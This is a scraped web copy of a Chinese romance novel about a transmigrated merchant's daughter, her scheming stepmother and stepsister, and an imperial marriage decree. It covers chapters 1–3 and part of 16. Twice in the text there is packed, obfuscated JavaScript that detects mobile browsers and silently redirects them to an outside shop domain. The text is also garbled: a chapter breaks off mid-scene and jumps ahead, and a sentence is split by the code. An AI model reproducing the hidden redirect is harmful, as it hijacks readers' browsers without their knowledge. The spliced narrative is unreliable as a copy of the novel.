《主母不贤》 1. 001 《主母不贤》全本免费阅读 三月初三上巳节,上京南郊的玲珑山已经覆满新绿,迎春花争先恐后的装点其中,山脚下大片盛开的桃林和潺潺溪水,是上京达官贵人们首选的踏青游玩之地,每年还能顺势促成几桩圆满的婚事。 半山腰的凉亭内,一个十六七岁的少女靠在美人靠上,姿势神情都懒洋洋的犹如猫儿一般,让看着她的人也不自觉的浑身放松,偶尔有风拂来,吹起她额前厚重的刘海,霎时露出一张令人惊艳的脸,然而又在风过后消失在刘海之下,惊鸿一瞥仿若错觉。 一旁的丫鬟瞥见这一幕颇有微词,“姑娘为何不让奴婢给您梳个好看的头,现下十分的颜色也只剩下五分,平日也就罢了,今天可是要见未来姑爷的。” 穆婉一边翻着话本一边道,“今天踏青的人多,王公贵族可不少,还是谨慎为上。” 她也不喜欢额头上闷闷的感觉,但她曾亲眼见过一个富商之女因为长得漂亮被权贵抢去做妾,哪怕那姑娘马上就要成亲。 那是她穿过来后第一次对皇权社会有了切身的体会,之后就格外低调,没办法,商人在这个时代地位实在不高,再富有也随时都能成为权贵们砧板上的鱼肉,真出了事,她可不信她便宜爹会护她。 所以在没有足够的实力之前,她还是低调苟着更合适。 好在现在离穿衣梳头自由的日子也不算远了,她的未婚夫家忠勇伯府如今是上京新贵,等她嫁进去,就可以想干什么干什么。 云苓从小就跟着穆婉,自然也明白她的意思,但想起穆婉的婚事很是愤愤,“可是外头都传二姑娘貌若天仙,才比柳絮,堪配李六郎,倒是您骄奢跋扈、胸无点墨,还长相平平……”她越说越气,“那明明是许娘子给您订的婚事!如今倒是该给她二姑娘才对?!” “照奴婢说,今儿个就该叫李六郎好好看看,二姑娘跟您一比才是什么都不是!”她满腔斗志,可惜她家大姑娘不配合。 这样想着,她忍不住朝上山的小路张望,“说起来人怎么还没到,不会是太太又搞了什么鬼吧?” 穆婉心道,这不是很明显的事情吗? 沈氏母女既然起了要截她婚事的心思,又已经做了那么多,这最后的节骨眼又怎么可能不捣乱。 沈氏是穆婉的继母,二姑娘穆柔只比穆婉小半岁,光从这一点就能窥见穆家上一辈的恩怨情仇。 妻子怀孕丈夫出轨,然后两个人离婚,放在现代这是多么顺理成章的事情,但在这个男人可以三妻四妾的古代,敢这样做的女人称得上是离经叛道。 而穆婉这辈子的母亲许倾蓝,从小就是个离经叛道的女子。出身杏林世家,却不爱医术爱经商,后来遇上豪商之子穆兴德,也就是穆婉这辈子的爹,两人互相欣赏,两情相悦,之后水到渠成的成了亲,一起将穆家的产业经营壮大。 如果在小说里,大概就是琴瑟和鸣白头到老的剧本,然而现实是婚后三年,许倾蓝怀孕在家养胎,穆兴德出门做生意却带回了另一个年轻貌美的女子,并在不久后诊出有孕。 许倾蓝没有像这个时代的女人一样忍气吞声,而是在生完穆婉后直接和离。 不过她并没有带走穆婉,一来在这个时代,子嗣无条件归属男方;二来许倾蓝也并没有打算便宜后来的沈氏。她和穆兴德相看两厌可以选择离开,但穆婉是穆兴德的孩子,穆家的东西必须要有穆婉一份。 所以穆婉从小还是在穆府长大的,婴儿时期许倾蓝直接划出一座别院,客居穆府教养穆婉,后来穆婉懂事了些她便另外置了宅子,穆婉想娘了就可以过去小住,对此穆家也没有人敢不满,因为许倾蓝本人在经商上天赋不俗,和穆兴德和离后,一个人照样把生意做的风生水起,其中还有不少穆家根本绕不过的关键渠道,因此穆兴德不管是出于对许倾蓝的愧疚还是忌惮,从不敢苛待穆婉。就算沈氏母女再闹腾,也从来都越不过她去。 直到三年前许倾蓝出门做生意时意外去世,因为是和离之身,只能葬回许氏老家,穆婉扶灵回乡守孝三年,前几天才回到京城。 然后她就在出了名,准确的说,去年李家六郎李亦宸高中探花的时候,上京的闺秀千金们就开始关注她了。 说到这个,穆婉都不得不感慨她娘的投资眼光,谁能想到当初不过是边关参将侄子的李亦宸,短短五年就一路飞升成了忠勇伯府的六郎君呢? 关键他出身武将世家,却进士及第,名副其实的文武双全,如今还在御前行走,便是傻子都知道他前途无量,听闻还有郡主朝他伸出橄榄枝。 所以也不怪众人要关注她,以李亦宸现在的身份,她一介商户女嫁他简直就是越级高攀。 偏偏李家没有一丝一毫退婚的打算,众人更赞他品行高洁。也更显的她这个商户女有福气。 继母沈氏大概实在不甘自己的女儿继续屈居她之下,又觉得许倾蓝去世后穆婉没了靠山,便动了心思。觉得反正李家是和穆家结亲,那么选个更合适的姑娘总不为过吧,她眼中更合适的姑娘自然是她的亲生女儿穆柔。所以趁着穆婉这三年不在京城,母女俩小动作不断。 久不见李亦宸出现,云苓也不知道是安慰自己还是安慰穆婉,“当初这婚事是许娘子和李老夫人定下的,可不是看穆家的面,这几年李老夫人给您的节礼也没落下过,今年您刚回来就下了帖子邀您来见见人,还说过要商议婚期,李六郎总不会忤逆老夫人。” 穆婉不置可否,沈氏那么自信总不会毫无凭据,她可还记得出门前继妹穆柔面对她时那得意的表情。 云苓忽然兴奋的碰了碰穆婉,“姑娘,那个是不是李六郎?他来了!” 穆婉顺着她的目光看过去。 其实她和李亦宸没有见过面,她娘给她定下亲事时她才十二岁,那时她在上京,李亦宸在边城,后来她随她娘去边城的时候,他又在游学,等他来到上京科考,她又回乡守孝,一直都在错过。 不过待她看到那道身影时,很确定那就是李亦宸,既有书生的温文尔雅,又不乏武将的挺拔修长,一张清俊立体的面容,气质如皎皎冷月,矜贵端方。 怪不得能引得上京的闺阁千金们瞩目,也怪不得能让她娘早早为她定下亲事,确实是少见的青年才俊。 穆婉起身朝着对方微微一福,李亦宸只是微微颔首,扫过她时眼底没有任何波动,之后也只在凉亭外离她五六米远的地方站定,似乎只是迫于无奈来完成见一见她的任务,并没有跟她多聊的打算。 他们也确实没多聊,李亦宸才淡淡的开口说了一句“大姑娘,是我对不住你……”,那头一个小厮就匆匆跑了上来,口中焦急道,“少爷,穆二姑娘出事了!” 穆婉就见那在她面前清冷寡情的男人陡然面色一变,“怎么回事?”急的招呼都没跟她打便急匆匆转身下了山。 云苓气的跺脚,“二姑娘又演什么戏?!” 穆婉挑了挑眉,觉得有些蹊跷,按理说沈氏母女现在会捣乱,但却不会再招惹李亦宸了才对。 她也有些好奇,“去看看。” 走到山脚便见三三两两的聚集了不少人,显然是出了什么事。 云苓上前打听,才知道穆柔竟是真的遇到了麻烦。 原来在她跟诗社的几个姑娘们一起赛诗时,被前来踏青的吴国舅看上了调/戏,惊慌抗拒之下落了水。 穆婉皱起眉头,吴国舅的名声即便她远在祖籍也听说过,贪花好色,荒淫无度,不知多少女子遭过他的毒手,商户平民就不说了,甚至不乏小官之女,偏生他是当今太后的亲弟弟,即便被御史弹劾,甚至顺天府抓捕,最后也都是高高举起轻轻放下,最后反而告官的人没一个好下场,众人都奈何不得。 她虽然不喜穆柔,但也不愿意看到她发生这样的事情。 云苓连忙问旁边的姑娘,“吴国 2. 002 《主母不贤》全本免费阅读 穆婉最终还是没能听完关于镇北侯的桃色八卦,因为被救下的穆柔突然高烧晕厥,沈氏带着穆家仆妇兵荒马乱的张罗回府,李亦宸满脸担心的全程护送,这些动静大庭广众之下根本瞒不了人,于是众人的八卦内容又从镇北侯转移到了李家六郎会不会跟二姑娘冲破阻碍在一起,若不行的话,娶了穆家大姑娘将会是怎样的灾难。 眼见着云苓要气炸了,穆婉连忙带着她离开。 三月初的山中还带着寒意,尤其入夜之后更是冷的渗人,然而玲珑山山脚下的一处小庄子后院却热气蒸腾,白雾缭绕。 “穆家阿婉,听说你那未婚夫追着你二妹妹跑了,是真的吗?你到底是怎么打算……”南溪乡君风风火火的踏入院子,口中的话在看到眼前的一幕时不自觉的噤了声。 比起外头草草冒头的青绿,这院子里已经郁郁葱葱,大朵的牡丹在白色氤氲的雾气中争奇斗艳,却也盖不住温泉池中的艳色。 十六七岁的少女玉肤雪肌,一头乌发披于身后,白色的单衣早就被水浸透紧紧的贴在身上,勾勒出精致的锁骨和胸口若隐若现弧度,还有那张因为泡了温泉而艳若桃李的脸……祝南溪下意识的吞了吞口水,第一次对“人间尤物”四个字有了具象的感触。 偏那少女好似并不知自己如何勾人,慵懒的闭着眼睛,神情恣意无忧,要不是早认识对方,这情这景这人,她还以为自己误闯了什么神仙或者妖族的怪志领地。 少女听到动静转头看了她一眼,“乡君好灵通的消息,不是陪你祖母去礼佛了吗?怎么会来这儿。” 祝南溪看她泡的实在舒服,不客气的张开双臂示意丫鬟们为她宽衣解带,“这不是听说你受了委屈,赶来看你热闹,听说李家六郎今天也见到你了,最后竟然这么不闻不问的把你扔下了?真是没风度。” “我还当会看到一个被抛弃的小可怜,没想到……哇……这也太舒服了,”祝南溪踩着温泉池边的台阶走下去,在这样清冷的寒夜里,温暖的水流渐渐包裹身体时,心底反而生出满满的幸福感,“还是你会享受。” 她刚说完,就有丫鬟将几个木质的托盘放入水中,祝南溪惬意的叹了口气,“葡萄美酒琉璃盏,滔婆寒瓜荔枝奴,他们还说我是京都第一女纨绔,真应该让大家来看看。要说享受,你穆大姑娘敢说第二可没人敢称第一,我还是跟你学的呢。” 穆婉拿签子叉了块西瓜,瞥她一眼,“乡君可别坏我名声。” 祝南也跟着叉了一块儿,并不认这罪名,“你的名声可轮不到我来坏。”说到这里,她啧啧两声,“听说你回来那天,你们穆家上下都忙的脚打后脑勺,连门口的石狮子都擦的纤尘不染,不知情的还以为你们家要迎接什么大人物,说你爹回家都没有那么大阵仗。” “还有你那妹妹,你回来前的那几天,带着各家小姐去你院子参观,美其名曰看看有没有什么添置的,结果发现用物那叫一个精美讲究,玩意儿那叫一个琳琅满目,真是让人大开眼界。” 穆婉呵呵一声,“都是些样子货,纸鸢看着花里胡哨,但架子普通的很,一看就飞不高,话本子也都是过时的,捶丸杆手感很一般,就一只鹦鹉还算趣些,结果也不是名品……”她摇头叹息,“真是太敷衍了。” 祝南溪:…… “你怎么还失望上了?”她到底没沉住气,“你今年都十七了,按理回京后就应该和李府商量婚期,结果先是你那继母给你扣上一个坏名声,今天李家六郎还大庭广众之下打了你的脸,我不信你没成算。” 虽然外头都传穆家大姑娘是骄奢跋扈不学无术的草包,但她却亲眼见过她为救上柳的灾民舌战群儒,利诱豪商,最后官府抚民都采用的是她的建议,那时她才十五岁,还是躲在幕后。那么大的事情她都能解决,何况一个占尽先机的婚事。 只是这厮平时太过怠懒,只想着吃喝玩乐,轻易不肯动脑筋。 殊不知穆婉就是觉得上辈子脑筋动的太多了,结果汲汲营营一场,最后虽然确实坐上了那个所有人都想要的位置,但也永远的倒在了那里。 临闭眼之前才发现不到三十年的人生竟然留下了无数遗憾。 因此对于老天给的第二次机会,她格外珍惜,这辈子她要好好的享受生活,认真的爱自己。 “不行,你给我说清楚,”祝南溪扑过来,“不然你今天别想安生。” 穆婉顺势将温香软玉抱了个满怀,又抬手拿起木托盘上的琉璃盏,惬意的呷了一口,微凉的液体带着酒精的刺激滑过喉头,留下满口果香,调戏般道,“乡君要怎么让我不得安生啊?” 她本就生的美,做这样的登徒姿态时偏偏丝毫没有狎昵之感,反而有一种说不出来的风流魅力,祝南溪先招架不住红了脸,突然想到了什么,猛的坐起身问道,“李家六郎是不是没见过你真正的长相?” 穆婉也重新靠回温泉壁,“这不是没机会吗?” “我就说。”祝南溪道,若真见过,她不信李亦宸能毫不动心。 “所以你到底怎么打算的?” 穆婉没有再吊她胃口,笑道,“目前还没什么计划,先静观其变。” 祝南溪也随着她拿起一盏葡萄酒,闻言疑惑,“静观其变?难不成沈氏母女还能放弃李家这门婚事不成?”说到这里似乎想起了什么,“我听说今天下午李六郎要救她时她言辞拒绝。” 穆婉道,“宫中已经在准备选秀名单。” 这个祝南溪知道,“陛下已经登基三年,朝中如今确实在准备选秀名单,只是依照惯例,秀女皆为五品以上官员适龄女儿,穆柔没资格吧?” 穆婉道,“你可知今年秀女数量不够?” 祝南溪眨了眨眼,“你怎么知道?” 穆婉道,“我家供着宫中的首饰生意。”从下的订单数量上自然就知道了。 祝南溪惊叹于她的敏锐,又不解,“秀女怎么会不够?”从来都是秀女太多,可没有秀女不够的情况。 穆婉漫不经心的道,“祝府你娘掌家,会愿意你庶出弟弟的媳妇儿来抢权柄吗?” 祝南溪脱口道,“她也配?”随即反应过来。 当今皇上的皇位是三年前五子之乱后捡漏得来的,虽然他最后被太后推上了皇位,但那之前他只是个舞女之子,根本没什么存在感,更别提权势根基,所以如今的朝政多由太后把持。 选妃意味着后宫要有新的主人来分走太后的权柄。谁会愿意冒着得罪太后的风险把自己的女儿送给一个傀儡皇帝呢,更别提朝中如今大多是太后党,送女儿进宫得了宠也不能如何,反而让太后厌恶,得不偿失。 穆婉见她想明白了,继续道,“但皇上第一次选秀也不能太难看,所以我猜太后会降低秀女门槛。但又不能太低,太低了容易落人口实,前朝时有旧例,秀女从七品以上官员之女中选,我猜今年秀女会按照这个标准来。” “女儿十五六岁还是七品的官员本身能力肯定欠缺,不仅不能给皇上提供助力,还容易被太后收服,这是最优方案。”穆婉道,“而我爹去年捐了个七品员外郎的官儿,符合条件。” 祝南溪听着她轻描淡写的推测,只觉得浑身鸡皮疙瘩都要起来了,仅凭一个宫中秀女的采买单子,她就想到了这么多,“你若是男儿,定能与镇北侯平分秋色。” 穆婉得意的抬起下巴,“谬赞谬赞。” 祝南溪翻了个白眼,“所以你的法子就是把这个消息透给沈氏母女,让她们自己选?”她歪头思索,“她们母女定然没有你想的那么深远,比起六品编撰的正妻,她们怕更愿意去宫里当娘娘博一份泼天富贵,所以今天下午穆柔对李六郎并不是欲擒故纵,是生了别的心思!” 穆婉赞许点头,“聪明。” “不对!”祝南溪突然反应过来什么,“我差点给你绕进去,就算穆柔自己想进宫,李六郎心里也还惦记她啊,这样你也要嫁?” 穆婉靠在池壁上,无所谓的笑道,“嫁啊,为什么不嫁,我嫁的又不是他。” 她可不是真正十六七岁的少女,还对爱情充满了憧憬。相反,她见过各种各样的夫妻,非常清楚从一而终的爱情是奢侈品,可遇不可求。现代社会明文规定了一夫一妻小三小四们还层出不穷呢,何况这个三妻四妾合法的时代,追求什么一生一世一双人那纯属自寻烦恼。 其实不嫁人是她最理想的状态,可惜这个时代姑娘不嫁人不是得青灯古佛,就是各种规矩约束,代价有点大,所以在确定了必须要嫁人后,她早早就做好了计划。 其实在她看来,在这个时代姑娘们与其说是嫁人,不如说是找工作。 3. 003 《主母不贤》全本免费阅读 沈氏伸手摸了摸女儿汗涔涔的额头,“病糊涂了吧,说的什么傻话!这么好的机会,干吗给那丫头!” 她以为女儿不懂,苦口婆心的劝道,“陛下登基时才十六岁,当时并未成家,这三年又为先皇先太后他们守孝,今岁第一次选秀,宫中位置多,以我儿的品貌,未必不能博个一宫之主。” “到时候你就是咱们穆家的门楣!”沈氏越想越兴奋,”便是那丫头也要给你伏低做小。”她满脸笑容,仿佛已经看到了她在穆婉面前扬眉吐气的样子。 穆柔却是露出一个像哭一样的笑,“娘,宫里跟本就不是我们想的那样。” 上辈子她进宫后确实轻而易举就封了妃,但并不是因为她多厉害,而是秀女里几乎没有朝中大员的女儿。 太后把持朝政,皇帝不过一个傀儡,出身越低的,分位越高。当上妃子又能如何呢?实际上过的连普通官宦人家的正妻都不如。 这也就罢了,没过几年,皇帝竟然还驾崩了,被找回来的先皇嫡幼子继位,而她们这些后宫嫔妃还没享受什么荣华富贵便都成了太妃,全部被发配去守皇陵…… 穆柔想起自己凄苦的后半生,觉得整个身体都是冷的。 可是那穆婉却跟着李亦宸一路飞升,最后竟然成了首辅夫人,那时太后已倒、皇帝还小,没有后宫,她就是全大郢最尊贵的女人…… 那明明应该是属于她的尊荣! 穆柔紧紧的抓着被子,或许老天都看不下去,给了她重来一次的机会,这次,她要拿回属于自己的一切,让穆婉也尝尝孤独终老的滋味! 她没办法跟沈氏说自己重活了一世,所幸她已经不是当年的穆柔,细细给她娘分析了后宫情况,然后道,“……就算您不信女儿说的,您可以出去打听一下,这若真的是好事,太后为什么要降低门槛,那些世家高门的女儿全都婚配的婚配,生病的生病,都不愿意进宫?” 看着沈氏犹疑的表情,穆柔凑到她耳边小声加重筹码,“皇上身体不好,不仅子嗣有碍,寿数也短。” 沈氏大惊,“你如何得知?” 穆柔道,“亦宸哥哥在御前行走,皇上身体如何,他自然清楚。” 沈氏立刻被说服了,没有子嗣,寿数又短,那进宫没几年就得去皇陵,一个姑娘的一辈子就完了……这就能理解那些大官的女儿都不愿意送进宫。 “若是真的,就送那死丫头进宫,先让她风光几年。”沈氏做了决定后,却还是不甘心,如今有过更好的选择,李亦宸竟然有些不够看了,她眼珠转了转问道,“今天镇北侯跟你说什么了?要是那吴国舅再来纠缠,李六郎不顶用,咱们能再去求镇北侯……” 穆柔立刻变了脸色,“娘!你想什么呢?”她的声音有些尖利。 沈氏道,“怎么不能想了?上京哪个姑娘不想嫁镇北侯?”又忍不住感慨,“不愧是名动上京的人物,那日吴国舅多威风,李亦宸都小心翼翼的应对,结果那镇北侯不过一个眼风,吴国舅就屁滚尿流的跑了……”又不死心的问道,“万一那吴国舅再找来,我们真的不能去找镇北侯吗?” “别做白日梦了。”穆柔想起上辈子那人的狠辣冷厉,心底不自觉的升起寒意,“镇北侯就算要娶妻,也轮不到我。” 沈氏心里其实也明白,只是忍不住幻想罢了,最后也只能遗憾的叹了口气,“都怪你投生在娘肚子里,不然以我儿的才貌,未必配不上。” 穆柔怕她继续做白日梦,连忙转移话题,“能嫁入李府也是万幸了,若非有前头渊源,女儿我最好也就配个六七品官员的儿子。” 提到这个,沈氏有些得意,“也是,那姓许的再霸道又如何?精挑细选的婚事还不是给我儿铺了路,这就是报应!”她斗志满满的道,“放心,只要李六郎向着你,这婚事就成了一大半。”然后又意识到了送穆婉进宫的好处,“本来还愁你这样换亲嫁过去李老夫人会不喜,如今是穆婉她想要攀高枝的,倒是你一片痴情,那老夫人也只有疼惜你的份儿了。” 穆柔想到这辈子能夫妻恩爱,享受荣华,嘴角不由翘起,不过事情还没确定,她不敢掉以轻心,轻声道,“赶紧让爹爹把她的名字报上去,也快点把人接回来,先别告诉她缘由,万一她不愿……” 虽然沈氏暂时信了女儿,但依旧觉得让穆婉占这便宜不爽,愤愤道,“这样的好事她有什么不愿意的。” 穆柔到底多活了几十年,又听多了穆婉的事情,比沈氏知道的多一些,“她好享乐,却不爱被束缚,您想,她连咱们家后宅都不愿意呆,整天在外面野,进宫可就相当于一辈子被困起来了,您也知道她被她娘/养的不知天高地厚,说不准还真的会拒绝。” 沈氏嗤笑一声,“拒绝又怎么样?这事儿可由不得她!” 见穆柔还不放心,沈氏安慰道,“她也就吃喝玩乐那点本事,遇上大事她能翻出什么浪来,就说和李府的婚事,那倒确实是她的,但昨日李六公子满心满眼都是你,看都没看她一眼,她做什么了?还不是乖乖的一句话都不敢说?她也就是能在穆家横一横,如今那许氏死了,我不信她能守得住那些财产,待再没了钱……”说到这里,沈氏不知想到了什么,亮眼突然放光,“你说的对,这件事应该快点定下来,我这就去信给你爹,让他马上回来。” 提到穆兴德,穆柔表情微冷,又想起上辈子穆兴德对穆婉的宠爱,忽然不确定的道,“我爹那里,会同意吗?” “怎么不会!”沈氏把握极大,“我儿放一百个心!你爹必然恨不得立刻将人送进宫去。” 沈氏派人来接穆婉的时候,她正和祝南溪站在玲珑山顶的瞰云观。 昨晚两人聊起再过一段时间就能放风筝,穆婉突发奇想想搞个骷髅风筝,还要四肢灵活会跳舞的那种,祝南溪想象着一堆蝴蝶大鸟中骷髅跳舞,立刻兴奋,一刻都等不得,一早就拉着她来这里砍竹子。 不过到了门口,穆婉有些不敢进去,“这怎么回事?” 郁郁葱葱的山顶,一座孤零零的道观,感觉有点可怕,自从穿越之后,穆婉对于鬼神之类未知的东西就饱含“敬畏”,“怎么没人?” 虽然本朝百姓大多信奉佛教,但道教信徒也不算少,当年她在上京时也常来玩,并不是这样门可罗雀的情形。 祝南溪神秘兮兮的道,“因为这里太灵了。” 穆婉眨了眨眼,“太灵了?” 祝南溪把她带到了瞰云观的许愿树下,这是一颗百年老树,上面满满当当的许愿牌昭示着它曾经的鼎盛,不过如今全都褪了色,显然很久都没有人来许愿了。 “你记不记得上柳知府的女儿娇娇?” 穆婉点点头,自然记得,那姑娘极其贪吃,十四五岁的年纪,体重估计有一百五十斤,让人印象深刻。 祝南溪道,“她前年随她父亲回京述职,听说这里灵验,便来许愿希望能瘦下来,半年后她就瘦了二十斤。” 穆婉眨了眨眼,“这么灵?” 祝南溪道,“可不是,听说是从道观回去的路上贪吃吃了路边不知名的野果直接病了大半年,什么都吃不下……” 穆婉:…… 祝南溪继续道,“还有那游手好闲的泼皮来求财,然后回去没几天就叫人打断了腿,然后赔了他一笔银子。” 穆婉忍不住笑,“这是只管结果,不管过程是吗?” 祝南溪也跟着笑,“对啊,”接着兴致勃勃的给她讲传闻,“还有求升官的。” “顺天府主簿来求升官,没几日就被人撞破了和表妹的奸/情,做了新郎官,当然免不了被家中凶悍主母一顿胖揍。” 穆婉忍俊不禁,“看来这位神仙有些调皮。” “谁说不是。”祝南溪笑,“类似的事情不少,总之,后来大家就都不太来这儿了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12185493|128467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 说罢就拽着人匆匆往前院赶。 云苓不爽的跟穆婉嘟囔,“怎么回事?宫中赐婚这么随便的吗?” 穆婉也觉得奇怪,李亦宸只是忠勇伯的侄儿,又不是什么朝廷重臣,关键两人的婚事还算不上光彩,宫中避讳都来不及,怎么会给他撑腰?不过当今这位皇帝和太后干的荒唐事也不是一两件了,穆婉也没多想,只是嘱咐道,“别乱说话。” 云苓撇了撇嘴,然后问道,“那咱们用不用去?” “当然得去。”穆婉道,“谁家接圣旨不是全家出动。”当朝再荒唐,也不是她一个商户女能轻视的。 到了前院,穆兴德已经激动的跪在拿着圣旨的公公面前,沈氏也兴冲冲的带着穆柔过去,后院几个庶子庶女也都被通知跑来,穆婉打算悄悄跪在后面,沈氏却朝她招手,“大姑娘,你可是嫡出的大姑娘,过来这儿。” 指的却是穆柔身后的位置。 其实正常来说,穆柔的圣旨,穆婉本来也应该跪她身后,但沈氏明显带着挑衅并想压她一头的态度就很让人不爽。 穆婉不打算理她,她以为在宫中的公公面前就能压她?穆婉倒是想看看,沈氏有没有胆子在公公面前搞事儿,弄砸了那是她女儿穆柔的事儿,又不是她的事儿。 然而穆婉还没跪下,就见那公公看着她和气道,“这位就是穆大姑娘?” 所有人都愣了一下,穆婉虽然不知道怎么回事,但也大大方方的福了福,“回公公,正是民女。” 公公笑道,“怎么跪那么远,一会儿怎么接圣旨。” 大家都呆住了,沈氏脱口道,“不是给二姑娘的圣旨吗?” 公公瞥了她一眼,“穆家的二姑娘不是已经因为意外先订婚了吗?何谈赐婚?”语气轻蔑,仿佛在说“私相授受的腌臜事儿也配赐婚?” 沈氏和穆柔瞬间白了脸色。 穆兴德也顾不上管她们了,一边招手让穆婉上前,一边给公公塞了个大荷包,“那这婚是……” 公公收了荷包,笑眯眯的道,“自然是赐给大姑娘的,安心吧,大好事儿。” “穆大姑娘,过来接旨吧。” 别说其他人,穆婉自己都有些懵,她一个刚被退婚的商户女,怎么会跟宫里扯上关系的?要赐婚给谁? 最近唯一得罪的人只有吴国舅,不不不,吴国舅有正妻了,若是小妾根本用不着圣旨,但吴太后势大,做事随心所欲,也未尝没有这种可能…… 穆婉在公公一堆蕙质兰心,贤良淑德的夸奖中已经在想要怎么搞死吴国舅了,最后却听尖利的声音道,“……特赐婚于镇北侯谢珩,三月后完婚……” 穆婉浑身的毛都炸起来了,赐婚给什么玩意儿?!! 16.016 公公走后,沈氏几乎要晕过去了,“这到底怎么回事?” 穆柔赶忙扶住她,脸色也不怎么好,穆兴德却顾不上那母女俩,兴奋的问穆婉,“婉婉你这口风可真紧啊?侯爷什么时候看上你的?” 却不知穆婉也暴躁的想跳脚,谢珩怎么可能看上她?看上她的命还差不多。 但当着沈氏母女和穆兴德的面,穆婉一派胸有成竹,高深莫测道:“您猜?” 沈氏还是晕了过去。 穆柔赶紧扶着她回了院子,管家提醒穆兴德镇北侯府也许回来提亲,要赶紧准备,穆兴德大概知道在穆婉这里问不出什么,转身立刻召集内外管事安排洒扫布置,反正不管什么时候看上的,这天大的馅饼算是落在穆家头上了! 回到梧桐苑,云苓才有机会开口,“姑娘,这到底怎么回事?宫里怎么会赐婚?就算侯爷那天利用姑娘您摆脱了吴三姑娘也用不着牺牲这么大吧?” 穆婉本来都摊在美人靠上了,闻言立刻坐起来,“什么叫牺牲大?姑娘我牺牲才大好吗?你知不知道那家伙多危险。” 云苓小声道,“难不成跟那天伏牛山您遇到侯爷的事情有关?” 穆婉其实也在猜测,毕竟他们就见过两面,佛诞日那天她还打算见死不救来着,总不能因为她的铁石心肠觉得她这个人特别吧? 很大可能就是伏牛山那次她知道了他们的秘密,所以干脆将她跟他绑在一条船上,将来他谋逆被灭九族,她也跟着一起? 可是这个原因也站不住脚,谢珩的冷血她是亲眼见过的,想让她闭嘴的方式多的是,实在没必要选娶她这一种,穆婉可还记得他心系前女友呢。 穆婉百思不得其解,没办法,这种身份带来的信息差难以打破。 好在这件事足够轰动,比穆婉着急的人多的是,不到一天的功夫,祝南溪就匆匆上门,进了梧桐苑第一句话就是,“没想到那瞰云观这么灵啊,这才多久,我的愿望竟然就实现了,你真的要做镇北侯府的主母!” 穆婉想着那位“神仙”顾头不顾腚的愿望实现方式,心里有股不详的预感,“知道是什么原因吗?” 祝南溪点点头,凑在穆婉耳边道,“据说,太后是为了羞辱谢珩。” 穆婉:…… 上辈子她能在十几个同辈中杀出重围成为继承人,众人提起她从来都是敬畏或者佩服,第一次被当做耻辱,还挺新鲜。 穆婉气笑了,“谢侯爷就由着太后颁圣旨?” 吴太后毕竟商户出身,根基浅薄,很多事情都离不了谢珩。 尤其三年前五子之乱后,朝中能臣干吏死的死,贬的贬,谢珩是剩下的人里出身最高还手握实权的人,虎视眈眈的赤翎族和三个藩王也是因为谢家军的存在对朝廷有所忌惮,所以吴太后对谢珩再不满,面上也都是好言拉拢,绝不会强迫他做什么事情。 所以只要谢珩不想结这个亲,完全有办法拒绝。 祝南溪道,“侯爷不在京城。” 穆婉挑眉。 祝南溪道,“说起来也是寸,之前不是说过吗?太后有意让自己侄女和谢珩结亲,吴家提过几次,都被镇北侯婉拒,然后佛诞日那天吴知萱就出了昏招,结果人没算计到,把自己搭进去了。” “吴家自然不甘心,就调查了一下,发现那天谢珩跟你在一起,听说你还给他脱了衣服上药?” 穆婉:……这可真是无妄之灾。 她忍不住道,“什么叫跟我在一起,我只是偶尔碰上他受伤,况且我根本没给他上药。”脱谢珩的衣服,她不要命了吗? 祝南溪道,“这话我是信的,毕竟谢珩出了名的不近女色,觊觎他的姑娘也不算少,别说上药了,衣角都没碰到过。” “不过吴家哪里管这些,吴知萱和李家的事情成了定局,吴家呕死了,忠勇伯府跟吴家一样没有底蕴,况且忠勇伯府本来就是太后提上来的,本就要依附太后,联姻根本毫无意义。” “吴国舅被搞的心烦意乱,再加上上次被被蛰成猪头遭了不少罪,因此对镇北侯积怨已久,就跟太后说吴知萱的事情是谢珩搞的鬼,若是平时,太后大概还会考虑一下,偏偏那天谢珩查抄了吴家的某个旁支上百万两银子。” “谁不知道如今整个吴家都是给太后办事儿,谢珩直接抄了太后的私库,太后气疯了,一怒之下就让皇上下了这么一道圣旨。” “——既然不想娶他们吴家的姑娘,那就娶个被退婚的商户女。”祝南溪道,“大概就是这个心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12207312|128467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 态吧,反正就是报复镇北侯,也想压一压他的气焰?” 然后穆婉就倒霉的被卷入其中。 这种朝纲混乱的时候,站对了队伍就能一飞冲天,但更有可能沦为炮灰,穆婉享受过这个时代的人没有享受过的物质生活,并不想用命去博什么泼天富贵,她有足够的钱,只需要找一个稍有权势能自保的靠山,就能自由快乐的过一辈子。 镇北侯府这种风暴中心,她敬谢不敏。 好在谢珩应该也不想娶她,既然这道旨意是太后趁谢珩不在上京冲动之下下的,那么等谢珩回来,也许还有转圜余地。 穆婉耐心的等待。 三天后,谢珩办完差归京。 “大姑娘!”云苓匆匆从门外进来,“大姑娘,侯府来提亲了!” 啥? 穆婉以为自己听错了,“你确定是提亲?不是退亲?” 云苓道,“确定,还带着一对大雁呢!排场十足。” 穆婉皱眉,难道是有什么变故,“云苓,帮我梳妆,一会儿我问问谢侯爷。” 云苓气道,“侯爷没来!您不知道,因为这个,太太今天头都不痛了。” 虽说这时代婚事是父母之命媒妁之言,提亲这种事儿用不着当事人出面,但一般为表对女方看重,男方是会上门的。 谢珩昨日回京很多人都知道,今天提亲却没来,这代表着他对这门婚事不满,对穆婉不满。 